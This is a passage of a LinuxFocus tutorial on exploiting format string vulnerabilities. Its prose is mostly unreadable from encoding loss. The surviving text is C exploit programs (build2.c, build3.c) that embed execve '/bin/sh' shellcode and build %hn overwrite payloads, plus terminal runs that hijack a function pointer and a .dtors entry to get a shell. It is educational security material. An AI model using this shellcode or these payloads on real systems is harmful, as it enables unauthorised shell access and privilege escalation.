�� ����� �� ��������, ��� ������, ���������� ��� arg
�
argv
, ������ �� ��������� ����� ������� ������. �� ����� ������������
��� �������� � ����� ���������. �� ������ ������ ������� �������� ���� ���������
build
, ����� ��� �������� ���� ����� ������� vuln
.
��� �� �������� ������ ����� argv
� ������ ��������:
/* build2.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //�� �� �������, ��� � � build.c } int main(int argc, char **argv) { char *buf; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(argc < 3) return EXIT_FAILURE; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* ����� */ &shellcode, atoi(argv[2])); /* �������� */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL); } else { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", argv[2]); buf = build(strtoul(argv[3], NULL, 16), /* ����� */ argv[2], atoi(argv[4])); /* �������� */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL); } return EXIT_SUCCESS; }
�������� � ���, ��� �� �����, ��� ��������, ������ �� ���������� ����������,
���������� ����������. ����� ��������� ��������, �� ������ �������� build2
�����, ���� �� ����� ������, � ��������. ��� �� ���� ������ ���������� ��������,
��� ��� ��� ����������� ������ ����������������� ��������.
����� ������� ����, ��� ���� ��������� ���������� ������������� ������
����� ���������� �������� build2
, � ����� vuln
(��� ������ �� �������� ������� build()
, ����� ������������ ���������� "���������" ������).:
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6�ћ4�ћ%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6�ћ4�ћ%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6�ћ4�ћ000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000 00000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
������ ��� �� ��������? �� �������, ��� ������ ��������� ������ ����� ������
����� ����� �������� ... � ���� �� ������� �����! argv[0]
(��� ���������)
����������. ���� ��������� ������� ���������� build2
(6 ����),
� ����� vuln
(4 �����). �������� � 2 �����, ������� � ��������
����� ��������, ������� �� ����� �������� � ������� ����. ����� �������� ��� ������
������ build2
����� sc=0xbffff88f
, ������ ����������
argv[2]
� vuln
���� ��� 20xbffff891
: ���� 2 �����.
����� ������ ��������, ���������� ������������� build2
� ���-������
�� 4 ����, ��������, bui2
:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6�ћ4�ћ%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6�ћ4�ћ%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6�ћ4�ћ0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$
����� ��������: ����� �������� ��� �������� ������� ����� ;-)
��������� ������� �������� ��������� � �����, �� �������� �����, �� ������� ��������
ptrf
, ����� �� �������� �� ��� �������. �����������, ����� ����� ��������� ������
���� ���� �������� ��� ����������.
�� �� ������, ��� ������ ������� ��������� ��� ����������� ������ ���� ������:
������� ������� ���������� � ���� ��������� � ������ .dtors
:
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [��%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [��%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [��000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
����� �� ��������� ���� ������
��� ������ �� �����������. ��� ������, ���
��� ������� �������� ����� exit(0)
.
� ����������, ��� ��������� �������, �������� ��������� build3.c
, �������
����� ������ ��������, �� �������� ������ ����� ���������� ���������:
/* build3.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> char* build(unsigned int addr, unsigned int value, unsigned int where) { //�������, ��� � � build.c } int main(int argc, char **argv) { char **env; char **arg; unsigned char *buf; unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc == 3) { fprintf(stderr, "Calling %s ...\n", argv[0]); buf = build(strtoul(argv[1], NULL, 16), /* ����� */ &shellcode, atoi(argv[2])); /* �������� */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; env = (char **) malloc(sizeof(char *) * 4); env[0]=&shellcode; env[1]=argv[1]; env[2]=argv[2]; env[3]=NULL; execve(argv[0],arg,env); } else if(argc==2) { fprintf(stderr, "Calling ./vuln ...\n"); fprintf(stderr, "sc = %p\n", environ[0]); buf = build(strtoul(environ[1], NULL, 16), /* ����� */ environ[0], atoi(environ[2])); /* �������� */ fprintf(stderr, "%d\n", strlen(buf)); fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); arg = (char **) malloc(sizeof(char *) * 3); arg[0]=argv[0]; arg[1]=buf; arg[2]=NULL; execve("./vuln",arg,environ); } return 0; }
�����, ��� ��� ������ ��������� ��������� � �����, �� ������ ���������� � ���, �����
�� �������� ������ (�.�. �������� ������� ���������� � ����������).
��� ������������ ����� ������ ��������� ����� �� ���������� ��������, ���
� ��� �������� ��������� vuln
.
�����, �� ������ ������������ ���������� ���������� extern char **environ
, ���
��������� ������ ��� ��������:
environ[0]
: �������� �������;
environ[1]
: �������� �����, ���� �� ������������ ���������� ������;
environ[2]
: �������� ��������.
"%s"
, ����� ����������
����� ������� ��� printf()
, syslog()
, ... ���� �� �������������
�� ������ �������� ��� �����, ��� ���� ����� ��������� ��������� ����, ����������� �� ������������.
exec*()
),
��� ���������� ... ����� �� ��� ������ �� ������� �������, �������, � ���������� ������
�������� � �������, ��������� ������������ ���������� �������� ;-)
|
Webpages maintained by the LinuxFocus Editor team
© Fr�d�ric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Click here to report a fault or send a comment to LinuxFocus |
Translation information:
|
2001-10-26, generated by lfparser version 2.17